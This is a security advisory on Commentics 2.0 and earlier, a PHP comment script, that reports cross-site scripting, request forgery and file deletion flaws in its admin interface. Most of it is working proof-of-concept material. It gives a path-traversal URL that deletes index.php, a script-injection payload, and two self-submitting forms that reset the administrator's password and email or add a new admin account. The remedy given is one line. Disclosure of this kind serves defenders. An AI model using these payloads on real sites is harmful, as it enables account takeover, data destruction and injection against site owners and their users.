#################################################
Commentics 2.0 <= Multiple Vulnerabilities
#################################################
Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
Vendor information:
"Commentics is a free, advanced PHP comment script with many features.
Professionally written and with open source code, its main aims are to be integrable, customizable and secure."
Vendor URI: http://www.commentics.org/
#################################################
Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion
Risk-level: High
The whole administration interface is prone to several client-side attacks.
-------------------------------------
Exploit / Proof Of Concept:
(Note that almost every parameter is vulnerable. These are only a few examples.)
1. File deletion vulnerability (deletes index.php):
http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php
2. Cross Site Scripting:
http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--
3. CSRF / Change admin email and password:
<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
<input type="text" name="username" value="admin" />
<input type="text" name="password_1" value="1234" />
<input type="text" name="password_2" value"=1234" />
<input type="text" name="email" value="admin%40binkmail.com" />
<input type="text" name="receive_email_new_ban" value="on" />
<input type="text" name="receive_email_new_comment_approve" value="on" />
<input type="text" name="receive_email_new_comment_okay" value="on" />
<input type="text" name="receive_email_new_flag" value="on" />
<input type="text" name="submit" value="Update" />
</form>
<script>document.forms[0].submit()</script>
4. CSRF / Add new admin user
<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator">
<input type="text" name="username" value="newadmin" />
<input type="text" name="password_1" value="1234" />
<input type="text" name="password_2" value"=1234" />
<input type="text" name="email" value="newadmin%40binkmail.com" />
<input type="text" name="submit" value="Add+Admin" />
</form>
<script>document.forms[0].submit()</script>
-------------------------------------
Solution:
Do some input validation.
-------------------------------------
#################################################